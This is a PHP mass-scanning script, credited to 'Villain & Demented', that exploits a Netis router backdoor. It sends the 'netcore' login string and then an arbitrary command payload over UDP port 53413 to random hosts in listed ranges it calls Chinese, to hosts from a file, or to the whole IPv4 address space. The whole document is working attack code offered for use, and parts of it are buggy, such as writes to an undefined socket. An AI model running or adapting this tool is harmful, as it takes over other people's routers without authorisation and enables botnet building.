Netis Exploit Scanner

<?php
/*
 __     ___ _ _       _          ___     ____                            _           _
 \ \   / (_) | | __ _(_)_ __    ( _ )   |  _ \  ___ _ __ ___   ___ _ __ | |_ ___  __| |
  \ \ / /| | | |/ _` | | '_ \   / _ \/\ | | | |/ _ \ '_ ` _ \ / _ \ '_ \| __/ _ \/ _` |
   \ V / | | | | (_| | | | | | | (_>  < | |_| |  __/ | | | | |  __/ | | | ||  __/ (_| |
    \_/  |_|_|_|\__,_|_|_| |_|  \___/\/ |____/ \___|_| |_| |_|\___|_| |_|\__\___|\__,_|

                        [+] Netis PHP Scanner [+]
                ...:: Created by Villain & Demented ::...

*/
$payload = "enter payload";
class Netis {
    protected $payload;
    public function __construct($payload){
        $this->payload = $payload;
    }
    public function Netis(){
        /* Scan random Chinese Ranges */
        $this->ranges = array('111.255', '101.16', '112.225', '118.80', '27.200');
        for($i = 0;$i < 255 ^ 3;$i++){
                    $this->host = $this->ranges[0] . "." . rand(1,255) . "." . rand(1,255);
                    $this->connection = fsockopen("udp://" . $this->host, 53413, $errstr, $errno, 3);
            while(!feof($this->connection)){
                // Login Payload & Command Payload
                fputs($this->connection, "AAAAAAAAnetcore\x00");
                fputs($this->connection, "AA\x00\x00AAAA " . $this->payload . "\x00");
                print "\033[01;37m[\033[01;32m+\033[01;37m] Attempting: " . $this->host . "\n";
                break;
            }
        }
    }
    public function ListScan(){
  /* Scan for Netis IP List */
  $this->list = fopen('list.txt', 'r');
  while(!feof($this->list)){
   $this->line = fgets($this->list);
   $this->host = "udp://" . $this->line;
   $this->sock = fsockopen($this->host, 53413, $errno, $errstr, 3);
   while(!feof($this->sock)){
    // Login Payload & Command Payload
    fputs($this->connection, "AAAAAAAAnetcore\x00");
    fputs($this->connection, "AA\x00\x00AAAA " . $this->payload . "\x00");
    print "\033[01;37m[\033[01;32m+\033[01;37m] Attempting: " . $this->host . "\n";
    break;
   }

  }
 }
    public function WorldScan(){
        $this->range = array();
        $this->range[1] = 1;
        $this->range[2] = 1;
        $this->range[3] = 1;
        $this->range[4] = 1;
        for($i = 0;$i < 255 ^ 4;$i++){
            if($this->range[4] == 255){
                $this->range[3]++;
                $this->range[4] = 1;
            }
            if($this->range[3] == 255){
                $this->range[2]++;
                $this->range[3] = 1;
            }
            if($this->range[2] == 255){
                $this->range[1]++;
                $this->range[2] = 1;
            }
            $this->host = $this->range[1] . "." . $this->range[2] . "." . $this->range[3] . "." . $this->range[4];
            $this->ip = "udp://" . $this->host;
            $this->sock = fsockopen($this->ip, 53413, $errstr, $errno, 3);
            while(!feof($this->sock)){
                fputs($this->sock, "AAAAAAAAnetcore\x00");
                fputs($this->sock, "AA\x00\x00AAAA " . $this->payload . "\x00");
                print "\033[01;37m[\033[01;32m+\033[01;37m] Attempting: " . $this->host . "\n";
                break;
            }
            $this->range[4]++;
        }
    }
}
$netis = new Netis($payload);
    if(empty($argv[1])){
        print "\033[01;31mNo arguements given";
        exit(1);
    }
    if($argc !== 1){
        switch(strtolower($argv[1])){
        case "random":
            $netis->Netis();
        break;
        case 'list':
            $netis->ListScan();
        break;
        case 'world':
            $netis->WorldScan();
        break;
    }
    } else {
        print "\033[01;33mUsage: \033[01;37mphp script.php random \033[01;33m - Scan for random Chinese ranges\n";
        print "\033[01;33mUsage: \033[01;37mphp script.php list \033[01;33m - Scan from pre-made IP list\n";
        print "\033[01;33mUsage: \033[01;37mphp script.php world \033[01;33m - Mass scan the world\n";
        exit(1);
    }
?>